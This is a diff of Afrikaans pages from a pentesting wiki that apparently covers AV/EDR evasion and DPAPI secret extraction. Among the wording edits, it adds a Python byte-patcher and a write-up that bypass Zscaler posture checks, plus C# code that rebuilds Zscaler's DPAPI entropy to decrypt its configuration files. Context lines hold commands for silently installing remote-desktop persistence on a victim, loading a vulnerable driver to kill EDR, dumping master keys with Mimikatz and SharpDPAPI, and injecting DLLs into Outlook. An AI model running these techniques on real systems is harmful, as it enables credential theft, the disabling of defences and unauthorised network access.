@ -294,7 +294,7 @@ Hier is 'n demo om SmartScreen te omseil deur payloads binne ISO-lêers te verpa
|
||||
|
||||
## ETW
|
||||
|
||||
Event Tracing for Windows (ETW) is 'n kragtige logmeganisme in Windows wat toepassings en stelseldelers toelaat om **gebeurtenisse** te **log**. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadwillige aktiwiteite te monitor en op te spoor.
|
||||
Event Tracing for Windows (ETW) is 'n kragtige logmeganisme in Windows wat toepassings en stelselsamestellings toelaat om **gebeurtenisse** te **log**. Dit kan egter ook deur sekuriteitsprodukte gebruik word om kwaadwillige aktiwiteite te monitor en op te spoor.
|
||||
|
||||
Soos AMSI gedeaktiveer (omgegaan) kan word, is dit ook moontlik om die **`EtwEventWrite`** funksie van die gebruikersruimte proses onmiddellik te laat terugkeer sonder om enige gebeurtenisse te log. Dit word gedoen deur die funksie in geheue te patch om onmiddellik terug te keer, wat ETW-logging vir daardie proses effektief deaktiveer.
|
||||
|
||||
@ -302,7 +302,7 @@ Jy kan meer inligting vind in **[https://blog.xpnsec.com/hiding-your-dotnet-etw/
|
||||
|
||||
## C# Assembly Reflection
|
||||
|
||||
Om C# binêre in geheue te laai is al 'n geruime tyd bekend en dit is steeds 'n baie goeie manier om jou post-exploitatie gereedskap te laat loop sonder om deur AV gevang te word.
|
||||
Om C# binêre in geheue te laai is al 'n geruime tyd bekend en dit is steeds 'n baie goeie manier om jou post-exploitatie gereedskap te gebruik sonder om deur AV gevang te word.
|
||||
|
||||
Aangesien die payload direk in geheue gelaai sal word sonder om die skyf aan te raak, sal ons net bekommerd wees oor die patching van AMSI vir die hele proses.
|
||||
|
||||
@ -310,7 +310,7 @@ Die meeste C2-raamwerke (sliver, Covenant, metasploit, CobaltStrike, Havoc, ens.
|
||||
|
||||
- **Fork\&Run**
|
||||
|
||||
Dit behels **die ontstaan van 'n nuwe offer proses**, spuit jou post-exploitatie kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering **buitentoe** ons Beacon implantaats proses plaasvind. Dit beteken dat as iets in ons post-exploitatie aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implantaats oorleef.** Die nadeel is dat jy 'n **groter kans** het om deur **Gedragsdeteksies** gevang te word.
|
||||
Dit behels **die ontstaan van 'n nuwe offer proses**, spuit jou post-exploitatie kwaadwillige kode in daardie nuwe proses, voer jou kwaadwillige kode uit en wanneer dit klaar is, dood die nuwe proses. Dit het beide sy voordele en nadele. Die voordeel van die fork en run metode is dat uitvoering **buitend** ons Beacon implantaatsproses plaasvind. Dit beteken dat as iets in ons post-exploitatie aksie verkeerd gaan of gevang word, daar 'n **veel groter kans** is dat ons **implantaatsuksesvol sal wees.** Die nadeel is dat jy 'n **groter kans** het om deur **Gedragsdeteksies** gevang te word.
|
||||
|
||||
<figure><img src="../images/image (215).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -350,7 +350,7 @@ Om dit te voorkom, kan Windows **eksterne prosesse** verhinder om handvatsels oo
|
||||
Soos beskryf in [**hierdie blogpos**](https://trustedsec.com/blog/abusing-chrome-remote-desktop-on-red-team-operations-a-practical-guide), is dit maklik om net die Chrome Remote Desktop op 'n slagoffer se rekenaar te ontplooi en dit dan te gebruik om dit oor te neem en volharding te handhaaf:
|
||||
1. Laai af van https://remotedesktop.google.com/, klik op "Stel op via SSH", en klik dan op die MSI-lêer vir Windows om die MSI-lêer af te laai.
|
||||
2. Voer die installer stil in die slagoffer uit (admin benodig): `msiexec /i chromeremotedesktophost.msi /qn`
|
||||
3. Gaan terug na die Chrome Remote Desktop-bladsy en klik volgende. Die wizard sal jou dan vra om te autoriseer; klik op die Autoriseer-knoppie om voort te gaan.
|
||||
3. Gaan terug na die Chrome Remote Desktop-bladsy en klik volgende. Die wizard sal jou dan vra om te autoriseer; klik die Autoriseer-knoppie om voort te gaan.
|
||||
4. Voer die gegewe parameter met 'n paar aanpassings uit: `"%PROGRAMFILES(X86)%\Google\Chrome Remote Desktop\CurrentVersion\remoting_start_host.exe" --code="YOUR_UNIQUE_CODE" --redirect-url="https://remotedesktop.google.com/_/oauthredirect" --name=%COMPUTERNAME% --pin=111111` (Let op die pin parameter wat toelaat om die pin in te stel sonder om die GUI te gebruik).
|
||||
|
||||
## Gevorderde Ontwyking
|
||||
@ -375,12 +375,12 @@ https://www.youtube.com/watch?v=IbA7Ung39o4
|
||||
|
||||
### **Kontroleer watter dele Defender as kwaadwillig vind**
|
||||
|
||||
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binêre sal verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig vind en dit aan jou sal skei.\
|
||||
Jy kan [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) gebruik wat **dele van die binêre sal verwyder** totdat dit **uitvind watter deel Defender** as kwaadwillig vind en dit aan jou sal verdeel.\
|
||||
Nog 'n hulpmiddel wat die **selfde ding doen is** [**avred**](https://github.com/dobin/avred) met 'n oop web wat die diens aanbied in [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
|
||||
|
||||
### **Telnet Server**
|
||||
### **Telnet Bediening**
|
||||
|
||||
Tot Windows10, het alle Windows met 'n **Telnet-server** gekom wat jy kon installeer (as administrateur) deur:
|
||||
Tot Windows10, het alle Windows met 'n **Telnet bediener** gekom wat jy kon installeer (as administrateur) deur:
|
||||
```bash
|
||||
pkgmgr /iu:"TelnetServer" /quiet
|
||||
```
|
||||
@ -559,7 +559,7 @@ i686-w64-mingw32-g++ prometheus.cpp -o prometheus.exe -lws2_32 -s -ffunction-sec
|
||||
- [http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html](http://www.labofapenetrationtester.com/2016/05/practical-use-of-javascript-and-com-for-pentesting.html)
|
||||
- [http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/](http://niiconsulting.com/checkmate/2018/06/bypassing-detection-for-a-reverse-meterpreter-shell/)
|
||||
|
||||
### Gebruik python vir die bou van injectors voorbeeld:
|
||||
### Gebruik python vir die bou van inspuiters voorbeeld:
|
||||
|
||||
- [https://github.com/cocomelonc/peekaboo](https://github.com/cocomelonc/peekaboo)
|
||||
|
||||
@ -592,12 +592,12 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/Seabreg/Xeexe-TopAntivirusEvasion](https://github.com/Seabreg/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Dood AV/EDR Vanuit Kernel Ruimte
|
||||
## Bring Your Own Vulnerable Driver (BYOVD) – Doodmaak AV/EDR Van Kernel Spasie
|
||||
|
||||
Storm-2603 het 'n klein konsole nut bekend as **Antivirus Terminator** gebruik om eindpunt beskermings te deaktiveer voordat ransomware afgelaai word. Die hulpmiddel bring sy **eie kwesbare maar *onderteken* bestuurder** en misbruik dit om bevoorregte kernel operasies uit te voer wat selfs Protected-Process-Light (PPL) AV dienste nie kan blokkeer nie.
|
||||
Storm-2603 het 'n klein konsole-hulpmiddel bekend as **Antivirus Terminator** gebruik om eindpuntbeskermings te deaktiveer voordat ransomware afgelaai word. Die hulpmiddel bring sy **eie kwesbare maar *onderteken* bestuurder** en misbruik dit om bevoorregte kernelbedrywighede uit te voer wat selfs Protected-Process-Light (PPL) AV-dienste nie kan blokkeer nie.
|
||||
|
||||
Belangrike take-aways
|
||||
1. **Onderteken bestuurder**: Die lêer wat na skyf gelewer word is `ServiceMouse.sys`, maar die binêre is die wettig ondertekende bestuurder `AToolsKrnl64.sys` van Antiy Labs se “System In-Depth Analysis Toolkit”. Omdat die bestuurder 'n geldige Microsoft-handtekening het, laai dit selfs wanneer Driver-Signature-Enforcement (DSE) geaktiveer is.
|
||||
1. **Onderteken bestuurder**: Die lêer wat na skyf gelewer word, is `ServiceMouse.sys`, maar die binêre is die wettig ondertekende bestuurder `AToolsKrnl64.sys` van Antiy Labs se “System In-Depth Analysis Toolkit”. Omdat die bestuurder 'n geldige Microsoft-handtekening het, laai dit selfs wanneer Driver-Signature-Enforcement (DSE) geaktiveer is.
|
||||
2. **Diensinstallasie**:
|
||||
```powershell
|
||||
sc create ServiceMouse type= kernel binPath= "C:\Windows\System32\drivers\ServiceMouse.sys"
|
||||
@ -607,7 +607,7 @@ Die eerste lyn registreer die bestuurder as 'n **kernel diens** en die tweede be
|
||||
3. **IOCTLs blootgestel deur die bestuurder**
|
||||
| IOCTL kode | Vermoë |
|
||||
|-----------:|------------------------------------------|
|
||||
| `0x99000050` | Beëindig 'n arbitrêre proses deur PID (gebruik om Defender/EDR dienste te dood) |
|
||||
| `0x99000050` | Beëindig 'n arbitrêre proses deur PID (gebruik om Defender/EDR dienste te doodmaak) |
|
||||
| `0x990000D0` | Verwyder 'n arbitrêre lêer op skyf |
|
||||
| `0x990001D0` | Laai die bestuurder af en verwyder die diens |
|
||||
|
||||
@ -623,14 +623,54 @@ CloseHandle(hDrv);
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
4. **Waarom dit werk**: BYOVD omseil gebruikersmodus beskermings heeltemal; kode wat in die kernel uitvoer, kan *beskermde* prosesse oopmaak, hulle beëindig of met kernel-objekte tamper ongeag PPL/PP, ELAM of ander verharde funksies.
|
||||
4. **Waarom dit werk**: BYOVD omseil gebruikersmodus beskermings heeltemal; kode wat in die kernel uitvoer, kan *beskermde* prosesse oopmaak, hulle beëindig of met kernelobjekte tamper ongeag PPL/PP, ELAM of ander verhardingskenmerke.
|
||||
|
||||
Detectie / Mitigering
|
||||
• Aktiveer Microsoft se kwesbare-bestuurder bloklys (`HVCI`, `Smart App Control`) sodat Windows weier om `AToolsKrnl64.sys` te laai.
|
||||
• Aktiveer Microsoft se kwesbare-bestuurder blokkelys (`HVCI`, `Smart App Control`) sodat Windows weier om `AToolsKrnl64.sys` te laai.
|
||||
• Monitor die skepping van nuwe *kernel* dienste en waarsku wanneer 'n bestuurder gelaai word vanaf 'n wêreld-skryfbare gids of nie op die toelaatlys is nie.
|
||||
• Kyk vir gebruikersmodus handvatsels na pasgemaakte toestelobjekte gevolg deur verdagte `DeviceIoControl` oproepe.
|
||||
|
||||
### Omseiling van Zscaler Client Connector Posture Kontroles via On-Disk Binaire Patch
|
||||
|
||||
Zscaler se **Client Connector** pas toestel-houding reëls plaaslik toe en vertrou op Windows RPC om die resultate aan ander komponente te kommunikeer. Twee swak ontwerpskeuses maak 'n volle omseiling moontlik:
|
||||
|
||||
1. Houding evaluasie gebeur **heeltemal kliënt-kant** (n boolean word na die bediener gestuur).
|
||||
2. Interne RPC eindpunte valideer slegs dat die verbindende uitvoerbare **onderteken is deur Zscaler** (via `WinVerifyTrust`).
|
||||
|
||||
Deur **vier ondertekende binaire lêers op skyf te patch** kan beide meganismes geneutraliseer word:
|
||||
|
||||
| Binaire | Oorspronklike logika gepatch | Resultaat |
|
||||
|--------|-------------------------------|----------|
|
||||
| `ZSATrayManager.exe` | `devicePostureCheck() → return 0/1` | Gee altyd `1` terug sodat elke kontrole voldoen |
|
||||
| `ZSAService.exe` | Indirekte oproep na `WinVerifyTrust` | NOP-ed ⇒ enige (selfs ongetekende) proses kan aan die RPC pype bind |
|
||||
| `ZSATrayHelper.dll` | `verifyZSAServiceFileSignature()` | Vervang deur `mov eax,1 ; ret` |
|
||||
| `ZSATunnel.exe` | Integriteitskontroles op die tonnel | Kort-kort |
|
||||
|
||||
Minimale patcher uittreksel:
|
||||
```python
|
||||
pattern = bytes.fromhex("44 89 AC 24 80 02 00 00")
|
||||
replacement = bytes.fromhex("C6 84 24 80 02 00 00 01") # force result = 1
|
||||
|
||||
with open("ZSATrayManager.exe", "r+b") as f:
|
||||
data = f.read()
|
||||
off = data.find(pattern)
|
||||
if off == -1:
|
||||
print("pattern not found")
|
||||
else:
|
||||
f.seek(off)
|
||||
f.write(replacement)
|
||||
```
|
||||
Na die vervanging van die oorspronklike lêers en die herbegin van die diensstapel:
|
||||
|
||||
* **Alle** posuurkontroles vertoon **groen/konform**.
|
||||
* Ongetekende of gewysigde binêre kan die benoemde-pyp RPC eindpunte oopmaak (bv. `\\RPC Control\\ZSATrayManager_talk_to_me`).
|
||||
* Die gecompromitteerde gasheer verkry onbeperkte toegang tot die interne netwerk soos gedefinieer deur die Zscaler-beleide.
|
||||
|
||||
Hierdie gevalstudie demonstreer hoe suiwer kliënt-kant vertrouensbesluite en eenvoudige handtekeningkontroles oorwin kan word met 'n paar byte-patches.
|
||||
|
||||
## Verwysings
|
||||
|
||||
- [Synacktiv – Should you trust your zero trust? Bypassing Zscaler posture checks](https://www.synacktiv.com/en/publications/should-you-trust-your-zero-trust-bypassing-zscaler-posture-checks.html)
|
||||
|
||||
- [Check Point Research – Before ToolShell: Exploring Storm-2603’s Previous Ransomware Operations](https://research.checkpoint.com/2025/before-toolshell-exploring-storm-2603s-previous-ransomware-operations/)
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -16,23 +16,23 @@ Boonop aanvaar hierdie funksies ook 'n **`entropy` parameter** wat ook tydens ve
|
||||
|
||||
Die DPAPI genereer 'n unieke sleutel (genoem **`pre-key`**) vir elke gebruiker gebaseer op hul geloofsbriewe. Hierdie sleutel is afgelei van die gebruiker se wagwoord en ander faktore en die algoritme hang af van die tipe gebruiker, maar eindig as 'n SHA1. Byvoorbeeld, vir domeingebruikers, **hang dit af van die HTLM-hash van die gebruiker**.
|
||||
|
||||
Dit is veral interessant omdat as 'n aanvaller die gebruiker se wagwoordhash kan verkry, hulle kan:
|
||||
Dit is spesiaal interessant omdat as 'n aanvaller die gebruiker se wagwoordhash kan verkry, hulle kan:
|
||||
|
||||
- **Enige data ontsleutel wat met DPAPI versleutel is** met daardie gebruiker se sleutel sonder om enige API te kontak
|
||||
- Probeer om die **wagwoord te kraak** aflyn deur te probeer om die geldige DPAPI-sleutel te genereer
|
||||
|
||||
Boonop, elke keer as 'n gebruiker data met DPAPI versleutel, word 'n nuwe **meester sleutel** gegenereer. Hierdie meester sleutel is die een wat werklik gebruik word om data te versleutel. Elke meester sleutel word gegee met 'n **GUID** (Globally Unique Identifier) wat dit identifiseer.
|
||||
Boonop, elke keer as 'n gebruiker data met DPAPI versleutel, word 'n nuwe **master sleutel** gegenereer. Hierdie master sleutel is die een wat werklik gebruik word om data te versleutel. Elke master sleutel word gegee met 'n **GUID** (Globally Unique Identifier) wat dit identifiseer.
|
||||
|
||||
Die meester sleutels word gestoor in die **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** gids, waar `{SID}` die Veiligheidsidentifiseerder van daardie gebruiker is. Die meester sleutel word versleuteld gestoor deur die gebruiker se **`pre-key`** en ook deur 'n **domein rugsteun sleutel** vir herstel (so die dieselfde sleutel word 2 keer versleuteld gestoor deur 2 verskillende wagwoorde).
|
||||
Die master sleutels word gestoor in die **`%APPDATA%\Microsoft\Protect\<sid>\<guid>`** gids, waar `{SID}` die Veiligheidsidentifiseerder van daardie gebruiker is. Die master sleutel word versleuteld gestoor deur die gebruiker se **`pre-key`** en ook deur 'n **domein rugsteun sleutel** vir herstel (so die dieselfde sleutel word 2 keer versleuteld gestoor deur 2 verskillende wagwoorde).
|
||||
|
||||
Let daarop dat die **domeinsleutel wat gebruik word om die meester sleutel te versleutel in die domeinbeheerders is en nooit verander nie**, so as 'n aanvaller toegang tot die domeinbeheerder het, kan hulle die domein rugsteun sleutel terugkry en die meester sleutels van alle gebruikers in die domein ontsleutel.
|
||||
Let daarop dat die **domeinsleutel wat gebruik word om die master sleutel te versleutel in die domeinbeheerders is en nooit verander nie**, so as 'n aanvaller toegang tot die domeinbeheerder het, kan hulle die domein rugsteun sleutel terugkry en die master sleutels van alle gebruikers in die domein ontsleutel.
|
||||
|
||||
Die versleutelde blobs bevat die **GUID van die meester sleutel** wat gebruik is om die data binne sy koppe te versleutel.
|
||||
Die versleutelde blobs bevat die **GUID van die master sleutel** wat gebruik is om die data binne sy koppe te versleutel.
|
||||
|
||||
> [!TIP]
|
||||
> DPAPI versleutelde blobs begin met **`01 00 00 00`**
|
||||
|
||||
Vind meester sleutels:
|
||||
Vind master sleutels:
|
||||
```bash
|
||||
Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
|
||||
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
|
||||
@ -54,17 +54,18 @@ Let daarop dat hierdie sleutels **nie 'n domein rugsteun het** nie, so hulle is
|
||||
- **Mimikatz** kan dit toegang verkry deur LSA geheime te dump met die opdrag: `mimikatz lsadump::secrets`
|
||||
- Die geheim word binne die register gestoor, so 'n administrateur kan **die DACL toestemmings wysig om toegang te verkry**. Die registerpad is: `HKEY_LOCAL_MACHINE\SECURITY\Policy\Secrets\DPAPI_SYSTEM`
|
||||
|
||||
### Gedeelde Data deur DPAPI
|
||||
|
||||
### Beskermde Data deur DPAPI
|
||||
|
||||
Onder die persoonlike data wat deur DPAPI beskerm word, is:
|
||||
|
||||
- Windows geloofsbriewe
|
||||
- Internet Explorer en Google Chrome se wagwoorde en outo-voltooi data
|
||||
- E-pos en interne FTP rekening wagwoorde vir toepassings soos Outlook en Windows Mail
|
||||
- Wagwoorde vir gedeelde vouers, hulpbronne, draadlose netwerke, en Windows Vault, insluitend enkripteersleutels
|
||||
- Wagwoorde vir afstandskantoor verbindings, .NET Passport, en privaat sleutels vir verskeie enkripteer- en verifikasiedoele
|
||||
- Wagwoorde vir gedeelde vouers, hulpbronne, draadlose netwerke, en Windows Vault, insluitend enkripsiesleutels
|
||||
- Wagwoorde vir afstandskantoor verbindings, .NET Passport, en private sleutels vir verskeie enkripsie en verifikasie doeleindes
|
||||
- Netwerk wagwoorde bestuur deur Credential Manager en persoonlike data in toepassings wat CryptProtectData gebruik, soos Skype, MSN messenger, en meer
|
||||
- Enkripteerde blobs binne die register
|
||||
- Geënkripteerde blobs binne die register
|
||||
- ...
|
||||
|
||||
Stelsel beskermde data sluit in:
|
||||
@ -182,7 +183,7 @@ dpapi::masterkey /in:"C:\Users\USER\AppData\Roaming\Microsoft\Protect\SID\GUID"
|
||||
# SharpDPAPI
|
||||
SharpDPAPI.exe masterkeys /rpc
|
||||
```
|
||||
Die **SharpDPAPI** hulpmiddel ondersteun ook hierdie argumente vir meester sleutel ontsleuteling (let op hoe dit moontlik is om `/rpc` te gebruik om die domein se rugsteun sleutel te kry, `/password` om 'n platte wagwoord te gebruik, of `/pvk` om 'n DPAPI domein private sleutel lêer te spesifiseer...):
|
||||
Die **SharpDPAPI** hulpmiddel ondersteun ook hierdie argumente vir meester sleutel ontsleuteling (let op hoe dit moontlik is om `/rpc` te gebruik om die domein se rugsteun sleutel te kry, `/password` om 'n platte teks wagwoord te gebruik, of `/pvk` om 'n DPAPI domein private sleutel lêer te spesifiseer...):
|
||||
```
|
||||
/target:FILE/folder - triage a specific masterkey, or a folder full of masterkeys (otherwise triage local masterkeys)
|
||||
/pvk:BASE64... - use a base64'ed DPAPI domain private key file to first decrypt reachable user masterkeys
|
||||
@ -194,7 +195,7 @@ Die **SharpDPAPI** hulpmiddel ondersteun ook hierdie argumente vir meester sleut
|
||||
/server:SERVER - triage a remote server, assuming admin access
|
||||
/hashes - output usermasterkey file 'hashes' in JTR/Hashcat format (no decryption)
|
||||
```
|
||||
- **Deur data te ontsleutel met 'n meester sleutel**:
|
||||
- **Deur 'n meester sleutel data ontsleutel**:
|
||||
```bash
|
||||
# Mimikatz
|
||||
dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>
|
||||
@ -234,7 +235,7 @@ SharpDPAPI.exe blob /target:C:\path\to\encrypted\file /unprotect
|
||||
|
||||
Sommige toepassings stuur 'n addisionele **entropie** waarde na `CryptProtectData`. Sonder hierdie waarde kan die blob nie gedekriptiseer word nie, selfs al is die korrekte meester sleutel bekend. Om die entropie te verkry is dus noodsaaklik wanneer daar gefokus word op akrediteer wat op hierdie manier beskerm word (bv. Microsoft Outlook, sommige VPN-kliënte).
|
||||
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) is 'n gebruikersmodus DLL wat die DPAPI-funksies binne die teikenproses haak en deursigtig enige opsionele entropie wat verskaf word, opneem. Om EntropyCapture in **DLL-inspuiting** modus teen prosesse soos `outlook.exe` of `vpnclient.exe` te laat loop, sal 'n lêer genereer wat elke entropie-buffer aan die oproepende proses en blob koppel. Die gevangen entropie kan later aan **SharpDPAPI** (`/entropy:`) of **Mimikatz** (`/entropy:<file>`) verskaf word om die data te dekripteer.
|
||||
[**EntropyCapture**](https://github.com/SpecterOps/EntropyCapture) (2022) is 'n gebruikersmodus DLL wat die DPAPI-funksies binne die teikenproses haak en deursigtig enige opsionele entropie wat verskaf word, opneem. Om EntropyCapture in **DLL-inspuiting** modus teen prosesse soos `outlook.exe` of `vpnclient.exe` te laat loop, sal 'n lêer genereer wat elke entropie-buffer aan die oproepende proses en blob koppel. Die gevangenne entropie kan later aan **SharpDPAPI** (`/entropy:`) of **Mimikatz** (`/entropy:<file>`) verskaf word om die data te dekripteer.
|
||||
```powershell
|
||||
# Inject EntropyCapture into the current user's Outlook
|
||||
InjectDLL.exe -pid (Get-Process outlook).Id -dll EntropyCapture.dll
|
||||
@ -244,7 +245,7 @@ SharpDPAPI.exe blob /target:secret.cred /entropy:entropy.bin /ntlm:<hash>
|
||||
```
|
||||
### Krake van meester sleutels aflyn (Hashcat & DPAPISnoop)
|
||||
|
||||
Microsoft het 'n **konteks 3** meester sleutel formaat bekendgestel wat begin met Windows 10 v1607 (2016). `hashcat` v6.2.6 (Desember 2023) het hash-modes **22100** (DPAPI meester sleutel v1 konteks), **22101** (konteks 1) en **22102** (konteks 3) bygevoeg wat GPU-versnelde kraking van gebruikerswagwoorde direk vanaf die meester sleutel lêer moontlik maak. Aanvallers kan dus woordlys of brute-force aanvalle uitvoer sonder om met die teikenstelsel te kommunikeer.
|
||||
Microsoft het 'n **context 3** meester sleutel formaat bekendgestel wat begin met Windows 10 v1607 (2016). `hashcat` v6.2.6 (Desember 2023) het hash-modes **22100** (DPAPI meester sleutel v1 konteks), **22101** (konteks 1) en **22102** (konteks 3) bygevoeg wat GPU-versnelde kraking van gebruikerswagwoorde direk vanaf die meester sleutel lêer moontlik maak. Aanvallers kan dus woordlys of brute-force aanvalle uitvoer sonder om met die teikenstelsel te kommunikeer.
|
||||
|
||||
`DPAPISnoop` (2024) outomatiseer die proses:
|
||||
```bash
|
||||
@ -265,40 +266,78 @@ SharpChrome cookies /server:HOST /pvk:BASE64
|
||||
|
||||
### HEKATOMB
|
||||
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) is 'n gereedskap wat die onttrekking van alle gebruikers en rekenaars uit die LDAP-gids outomatiseer en die onttrekking van die domeinbeheerder se rugsteun sleutel deur RPC. Die skrif sal dan alle rekenaars se IP-adresse oplos en 'n smbclient op alle rekenaars uitvoer om alle DPAPI blobs van alle gebruikers te verkry en alles met die domein rugsteun sleutel te ontsleutel.
|
||||
[**HEKATOMB**](https://github.com/Processus-Thief/HEKATOMB) is 'n hulpmiddel wat die ekstraksie van alle gebruikers en rekenaars uit die LDAP-gids outomatiseer en die ekstraksie van die domeinbeheerder se rugsteun sleutel deur RPC. Die skrif sal dan alle rekenaars se IP-adresse oplos en 'n smbclient op alle rekenaars uitvoer om alle DPAPI blobs van alle gebruikers te verkry en alles met die domein rugsteun sleutel te ontsleutel.
|
||||
|
||||
`python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp`
|
||||
|
||||
Met die onttrekking van die LDAP-rekenaarslys kan jy elke subnet vind selfs al het jy nie daarvan geweet nie!
|
||||
Met die uitgetrokken LDAP-rekenaarslys kan jy elke subnet vind selfs al het jy nie daarvan geweet nie!
|
||||
|
||||
### DonPAPI 2.x (2024-05)
|
||||
|
||||
[**DonPAPI**](https://github.com/login-securite/DonPAPI) kan outomaties geheime wat deur DPAPI beskerm word, dump. Die 2.x weergawe het die volgende bekendgestel:
|
||||
|
||||
* Parallelle versameling van blobs van honderde gasheer
|
||||
* Ontleding van **context 3** meester sleutels en outomatiese Hashcat krak integrasie
|
||||
* Parsing van **context 3** meester sleutels en outomatiese Hashcat krak integrasie
|
||||
* Ondersteuning vir Chrome "App-Bound" versleutelde koekies (sien volgende afdeling)
|
||||
* 'n Nuwe **`--snapshot`** modus om herhaaldelik eindpunte te poll en nuut geskepte blobs te vergelyk
|
||||
|
||||
### DPAPISnoop
|
||||
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) is 'n C# parser vir meester sleutel/credential/vault lêers wat Hashcat/JtR formate kan uitvoer en opsioneel outomaties krak kan aanroep. Dit ondersteun ten volle masjien en gebruiker meester sleutel formate tot Windows 11 24H1.
|
||||
[**DPAPISnoop**](https://github.com/Leftp/DPAPISnoop) is 'n C# parser vir meester sleutel/credential/vault lêers wat Hashcat/JtR formate kan uitvoer en opsioneel outomatiese krak kan aanroep. Dit ondersteun ten volle masjien- en gebruiker meester sleutel formate tot Windows 11 24H1.
|
||||
|
||||
|
||||
## Algemene opsporings
|
||||
|
||||
- Toegang tot lêers in `C:\Users\*\AppData\Roaming\Microsoft\Protect\*`, `C:\Users\*\AppData\Roaming\Microsoft\Credentials\*` en ander DPAPI-verwante gidse.
|
||||
- Veral vanaf 'n netwerkdeel soos **C$** of **ADMIN$**.
|
||||
- Gebruik van **Mimikatz**, **SharpDPAPI** of soortgelyke gereedskap om LSASS geheue te benader of meester sleutels te dump.
|
||||
- Gebeurtenis **4662**: *'n Operasie is op 'n objek uitgevoer* – kan gekorreleer word met toegang tot die **`BCKUPKEY`** objek.
|
||||
- Gebeurtenis **4662**: *'n operasie is op 'n objek uitgevoer* – kan gekorreleer word met toegang tot die **`BCKUPKEY`** objek.
|
||||
- Gebeurtenis **4673/4674** wanneer 'n proses *SeTrustedCredManAccessPrivilege* (Credential Manager) aan vra.
|
||||
|
||||
---
|
||||
### 2023-2025 kwesbaarhede & ekosisteem veranderinge
|
||||
|
||||
* **CVE-2023-36004 – Windows DPAPI Secure Channel Spoofing** (November 2023). 'n Aanvaller met netwerktoegang kan 'n domeinlid mislei om 'n kwaadwillige DPAPI rugsteun sleutel te verkry, wat die ontsleuteling van gebruiker meester sleutels moontlik maak. Gepatch in November 2023 kumulatiewe opdatering – administrateurs moet verseker dat DC's en werkstasies ten volle gepatch is.
|
||||
* **Chrome 127 “App-Bound” koekie versleuteling** (Julie 2024) het die ou DPAPI-slegs beskerming vervang met 'n bykomende sleutel wat onder die gebruiker se **Credential Manager** gestoor word. Aflyn ontsleuteling van koekies vereis nou beide die DPAPI meester sleutel en die **GCM-wrapped app-bound key**. SharpChrome v2.3 en DonPAPI 2.x kan die ekstra sleutel herstel wanneer dit met gebruiker konteks loop.
|
||||
* **Chrome 127 “App-Bound” koekie versleuteling** (Julie 2024) het die ou DPAPI-slegs beskerming vervang met 'n bykomende sleutel wat onder die gebruiker se **Credential Manager** gestoor word. Offline ontsleuteling van koekies vereis nou beide die DPAPI meester sleutel en die **GCM-wrapped app-bound key**. SharpChrome v2.3 en DonPAPI 2.x kan die ekstra sleutel herstel wanneer dit met gebruiker konteks loop.
|
||||
|
||||
## Verwysings
|
||||
|
||||
### Gevalstudie: Zscaler Client Connector – Aangepaste Entropie Afgeleide Van SID
|
||||
|
||||
Zscaler Client Connector stoor verskeie konfigurasielêers onder `C:\ProgramData\Zscaler` (bv. `config.dat`, `users.dat`, `*.ztc`, `*.mtt`, `*.mtc`, `*.mtp`). Elke lêer is versleuteld met **DPAPI (Masjien omvang)** maar die verskaffer verskaf **aangepaste entropie** wat *tydens uitvoering bereken* word in plaas daarvan om op skyf gestoor te word.
|
||||
|
||||
Die entropie word herbou uit twee elemente:
|
||||
|
||||
1. 'n Hard-gecodeerde geheim ingebed binne `ZSACredentialProvider.dll`.
|
||||
2. Die **SID** van die Windows rekening waaraan die konfigurasie behoort.
|
||||
|
||||
Die algoritme wat deur die DLL geïmplementeer is, is gelyk aan:
|
||||
```csharp
|
||||
byte[] secret = Encoding.UTF8.GetBytes(HARDCODED_SECRET);
|
||||
byte[] sid = Encoding.UTF8.GetBytes(CurrentUserSID);
|
||||
|
||||
// XOR the two buffers byte-by-byte
|
||||
byte[] tmp = new byte[secret.Length];
|
||||
for (int i = 0; i < secret.Length; i++)
|
||||
tmp[i] = (byte)(sid[i] ^ secret[i]);
|
||||
|
||||
// Split in half and XOR both halves together to create the final entropy buffer
|
||||
byte[] entropy = new byte[tmp.Length / 2];
|
||||
for (int i = 0; i < entropy.Length; i++)
|
||||
entropy[i] = (byte)(tmp[i] ^ tmp[i + entropy.Length]);
|
||||
```
|
||||
Omdat die geheim in 'n DLL ingebed is wat vanaf die skyf gelees kan word, **kan enige plaaslike aanvaller met SYSTEM-regte die entropie vir enige SID weer genereer** en die blobs aflyn ontsleutel:
|
||||
```csharp
|
||||
byte[] blob = File.ReadAllBytes(@"C:\ProgramData\Zscaler\<SID>++config.dat");
|
||||
byte[] clear = ProtectedData.Unprotect(blob, RebuildEntropy(secret, sid), DataProtectionScope.LocalMachine);
|
||||
Console.WriteLine(Encoding.UTF8.GetString(clear));
|
||||
```
|
||||
Dekripsie lewer die volledige JSON-konfigurasie, insluitend elke **toestel houdingstoets** en sy verwagte waarde – inligting wat baie waardevol is wanneer daar probeer word om kliënt-kant omseilings te doen.
|
||||
|
||||
